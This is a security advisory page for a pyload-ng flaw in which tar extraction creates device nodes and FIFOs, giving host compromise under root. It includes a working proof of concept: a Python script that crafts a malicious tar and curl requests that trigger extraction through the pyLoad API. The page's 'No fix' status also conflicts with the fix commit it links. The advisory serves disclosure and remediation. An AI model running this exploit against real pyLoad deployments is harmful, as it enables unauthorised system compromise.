Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍 PyPI
Not in CISA KEV

pyLoad: Tar extraction creates device nodes and FIFOs (member types not filtered; tarfile extractall without filter=)GHSA-fr26-jjhm-638c

Fix: pyload/pyload@09eec1b

GHSA-fr26-jjhm-638c is a security vulnerability in pyload-ng. No vendor fix is recorded yet; mitigation options are listed below.

Published
Updated
Affected
1 pkg
Patched
See advisory
Exploits
None indexed
Exploitation data as of Oct 9, 2026 · OSV.dev, FIRST.org (EPSS)

Real-World Exposure

1 pkg affected
🐍pyload-ng

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

UnTar._safe_extractall — the hardening added for GHSA-mvwx-582f-56r7 — validates member names and symlink/hardlink targets, but never checks member types, and calls tarfile.extractall without a filter=. On Python < 3.14 the default extraction filter is fully_trusted, so a crafted tar containing device or FIFO entries makes pyLoad create them on disk. When pyLoad runs as root (the official Docker deployment), a block-device member grants raw disk access — full host compromise — reachable by any low-privileged user who can trigger archive extraction (ADD to supply an archive, STATUS to invoke ExtractArchive.extract_package).

Details

# plugins/extractors/UnTar.py:69-79
for member in tar.getmembers():
    if not is_within_directory(...) or <symlink/hardlink target checks>:   # names/links only
        raise ArchiveError(...)
tar.extractall(path, members, numeric_owner=numeric_owner)   # no filter=

No member.isdev() / ischr() / isblk() / isfifo() check exists, and the pre-validation in plugins/base/extractor.py:191-263 is likewise name-only. Python's tarfile only defaults to a safe filter in 3.14; supported runtimes (3.9–3.13) honor mknod for euid=0 and create FIFOs for any euid.

PoC

BASE=http://127.0.0.1:8100
# craft a tar with: regular marker.txt + a CHRTYPE member (major=1,minor=3) + a FIFOTYPE member
python3 - <<'EOF'
import tarfile, io
t = tarfile.open('dev.bin','w')          # name it *.bin so UnTar (content-sniffed) claims it
t.addfile(tarfile.TarInfo('marker.txt'), io.BytesIO(b'MARKER'))
i = tarfile.TarInfo('nulldev'); i.type = tarfile.CHRTYPE; i.devmajor=1; i.devminor=3; i.mode=0o666
t.addfile(i)
f = tarfile.TarInfo('pipe'); f.type = tarfile.FIFOTYPE
t.addfile(f); t.close()
EOF

# as a low-priv user (ADD|STATUS): add a package, place the archive in its download folder,
# then trigger extraction
curl -s -X POST "$BASE/api/add_package" -b ed.jar -H "X-CSRFToken: $T" \
  -H 'Content-Type: application/json' -d '{"name":"poc","links":["http://x/dev.bin"],"dest":1}'
curl -s -X POST "$BASE/api/service_call" -b ed.jar -H "X-CSRFToken: $T" \
  -H 'Content-Type: application/json' \
  -d '{"service_name":"ExtractArchive.extract_package","arguments":["<pid>"]}'

ls -l <extract dir>
# → crw-rw-rw- 1 root root 1, 3 nulldev      (character device created)
# → prw-r--r-- 1 root root     pipe          (FIFO created)
# → -rw-r--r-- 1 root root     marker.txt

Negative control: the same flow with a ../evil traversal member is rejected (ArchiveError: Attempted path traversal in archive) and nothing is extracted — the GHSA-mvwx name filter works; the gap is member-type-specific. (Note: when the 7z binary is present, .tar-named files are claimed by SevenZip first by extension; the UnTar path is reached via non-mapped names — as above — content-sniffed containers, or when 7z is absent/fails.)

Impact

With pyLoad as root, a crafted archive can create block/character device nodes at arbitrary paths (raw disk read/write → host compromise), plant FIFOs (process hangs, IPC confusion), or set special bits; non-root deployments still get FIFOs and node entries in user-accessible trees.

Remediation

In _safe_extractall, reject (or skip) every member that is not a regular file, directory, or safe link — e.g. member.isdev() or isfifo() → ArchiveError — and pass filter="data" (Python ≥ 3.12 supports it; backport the check for older runtimes). Apply the same member-type validation in the pre-extraction validator so all extractors share it.

References

  • GHSA-mvwx-582f-56r7 — the tar path-traversal fix this extends (names/links validated, member types not).

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
🐍PyPIpyload-ngall versionsNo fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pyload-ng, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Remediation status

    No patched version of pyload-ng has shipped for GHSA-fr26-jjhm-638c yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

  3. Mitigate without a patch

    Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.

Frequently Asked Questions

### Summary `UnTar._safe_extractall` — the hardening added for GHSA-mvwx-582f-56r7 — validates member **names** and symlink/hardlink **targets**, but never checks member **types**, and calls `tarfile.extractall` without a `filter=`. On Python < 3.14 the default extraction filter is `fully_trusted`, so a crafted tar containing device or FIFO entries makes pyLoad create them on disk. When pyLoad runs as root (the official Docker deployment), a block-device member grants raw disk access — full host compromise — reachable by any low-privileged user who can trigger archive extraction (ADD to suppl
O3 Security · Impact-Aware SCA

Is GHSA-fr26-jjhm-638c in your dependencies?

Find it across PyPI, including transitive dependencies.

pyLoad: Tar extraction creates device nodes and FIFOs…